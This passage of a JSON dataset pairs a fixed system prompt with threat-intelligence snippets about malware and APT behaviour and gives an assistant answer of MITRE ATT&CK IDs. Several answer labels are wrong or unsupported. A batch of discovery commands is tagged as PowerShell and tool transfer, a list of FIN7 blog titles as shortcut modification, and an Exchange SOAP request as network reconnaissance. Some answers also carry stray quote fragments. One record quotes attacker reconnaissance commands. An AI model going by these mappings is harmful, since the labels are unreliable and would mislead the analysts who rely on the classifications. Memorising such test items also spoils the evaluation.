                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executes VBScript using Process.Start. The third-stage DLL proceeds by loading the \"AdvancedRun\" resource into memory, decompressing it and dropping it as \"AdvancedRun.exe\" into the %TEMP% directory. Drops AdvancedRun.exe using File.WriteAllBytes. AdvancedRun.exe\" is a tool provided by Nirsoft to execute a program with different settings. Once the tool is dropped, the third stage DLL will leverage it to execute two commands in the context of the Windows TrustedInstaller group. The TrustedInstaller group was an addition to Windows beginning in Windows 7 with the goal of preventing accidental damage to critical system files. AdvanceRun is one of the tools that can be used to execute commands in the context of the TrustedInstaller user. This functionality is only available via CLI and requires the flag of \"/RunAs 8\", which is shown in the commands below. The tool will be deleted from the %TEMP% directory after executing both commands. The first command leverages the Windows service control application (sc.exe) to disable Windows Defender"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IRON TWILIGHT’s email credential targeting system allows the threat group to target and exploit accounts for webmail services such as Gmail and Hotmail, as well as corporate email platforms that use webmail interfaces. When targeting email services that provide alternate methods to authenticate account access, such as Gmail’s use of OAuth, the threat actors may abuse this feature to maintain a persistent session with the compromised account"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT10 has targeted or compromised manufacturing companies in India, Japan and Northern Europe; a mining company in South America; and multiple IT service providers worldwide. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. In addition to the spear phishes, FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers. Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer. In addition, web traffic between a service provider’s customer and a service provider is likely to be viewed as benign by network defenders at the customer, allowing the attacker to exfiltrate data stealthily. A notable instance of this observed by FireEye involved a SOGU backdoor that was set to communicate with its C2 through a server belonging to the victim’s service provider. The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. Their abuse of access to service provider networks demonstrates that peripheral organizations continue to be of interest to a malicious actor – especially those seeking alternative angles of attack"
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can migrate the loader into another process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint"
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can detect the computer name, operating system, and drive information, including drive type, total number of bytes on disk, total number of free bytes on disk, and name of a specified volume."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa has the ability to record audio."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to identify the username on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to discover and manipulate Windows services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel's configuration is hardcoded and RC4 encrypted within the binary."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deleted Registry keys during post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro has used malicious links to gain execution on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Registry subkey that registers a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM established persistence for PoisonIvy by created a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can access the \"HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData\" Registry key to obtain the System manufacturer value to identify the machine type."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can inject its modules into various processes using reflective DLL loading."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet attempts to access network resources with a domain account’s credentials."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell Cobalt Strike Beacon - New payload + new C2 domain - PowerShell Obfuscator - All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon’s GitHub project. Using this tool, the attackers could overcome a password reset. Customized Windows Credentials Dumper - A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper - Inspired by known Outlook credentials dumpers"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRAT captures keystrokes and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"time /t\" and \"net time \\\\ip/hostname\" for system time discovery."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can set persistence with a Registry run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "8 Upload the TPX498.dat file, which contains the list of collected keystrokes"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is installed via execution of rundll32 with an export named \"init\" or \"InitW.\""
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can decrypt strings using the victim's hostname as the key."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a suspended svchost process and injects its DLL into it."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SOUNDBITE is capable of enumerating application windows."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wiarp creates a backdoor through which remote attackers can open a command line interface."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used environment variable string substitution for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VBShower has the ability to download VBS files to the target computer."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This PowerShell backdoor was observed to be related to the SystemBC malware as a service. The script has a hard coded C&C server IP address and port number to connect to, with data passed to the “Rc4_crypt” function before connection."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "queries several Registry keys to identify hard disk partitions to overwrite."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the deletion process, the malware gets the function “Wow64RevertWow64FsRedirection” using the function “GetProcAddress” and calls it in a dynamic way to leave the system in the same state as before"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs data exfiltration over the control server channel using a custom protocol."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have covered recent FIN7 activity in previous public blog posts:   FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings  FIN7 Evolution and the Phishing LNK  To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence  The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "“Knock” also appears in several strings inside the code of SpeakUp"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim’s environment."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can use \"GetKeyState\" and \"GetKeyboardState\" to capture keystrokes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In another update, the P8RAT sample from August 2020 looks for two process names (“VBoxService.exe” and “vmtoolsd.exe”) on the victim’s system, to detect VMware or VirtualBox environments at the beginning of its main malicious function"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the third-stage DLL will load the \"Waqybg\" resource into memory. As the resource is stored in reverse byte order, the third-stage DLL will restore it by reversing the bytes and then proceed to decompress it. The decompressed data is the fourth stage wiper payload. After decompressing the data, the third-stage DLL copies a legitimate Windows utility \"InstallUtil.exe\" into the %TEMP% directory, creates a suspended process with it and injects the fourth-stage wiper into the process. Finally, it resumes the process and transfers the execution flow to the fourth-stage wiper. Creates InstallUtil.exe process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has obfuscated malware and malicious scripts to help avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Key Points PrivateLoader is a downloader malware family that was first identified in early 2021 The loader’s primary purpose is to download and execute additional malware as part of a pay-per-install (PPI) malware distribution service PrivateLoader is used by multiple threat actors to distribute ransomware, information stealers, banking t"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo discovers information about the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used \"sslip.io\", a free IP to domain mapping service that also makes SSL certificate generation easier for traffic encryption, as part of their command and control."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can spawn remote shells."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use HTTP or SMTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059 - Command and Scripting Interpreter', 'T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack can enumerate all account names on a remote share."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We observed the threat group issue the following commands:  @echo off    dir c:\\ >> %temp%\\download    ipconfig /all >> %temp%\\download    net user >> %temp%\\download    net user /domain >> %temp%\\download    ver >> %temp%\\download    del %0    @echo off    dir \"c:\\Documents and Settings\" >> %temp%\\download    dir \"c:\\Program Files\\    \" >> %temp%\\download    net start >> %temp%\\download    net localgroup administrator >> %temp%\\download    netstat -ano >> %temp%\\download   These commands allow the threat group to gain information about the compromised computer and the network to which it belongs"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery', 'T1105 - Ingress Tool Transfer', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RAT, however, had a multitude of functionalities (as listed in the table below) such as to download and execute, compress, encrypt, upload, search directories, etc"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUPERNOVA contained Base64-encoded strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can extract clipboard data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used password spraying attacks to obtain valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has used scheduled tasks to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant uses fake TLS to communicate with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The presence of this credential stealer may partially answer how Kobalos propagates. Anyone using the SSH client of a compromised machine will have their credentials captured. Those credentials can then be used by the attackers to install Kobalos on the newly discovered server later"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has conducted internal spearphishing attacks against executives, HR, and IT personnel to gain information and access."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy can execute remote commands in the Windows command shell using the \"WinExec()\" API."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module to enumerate network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
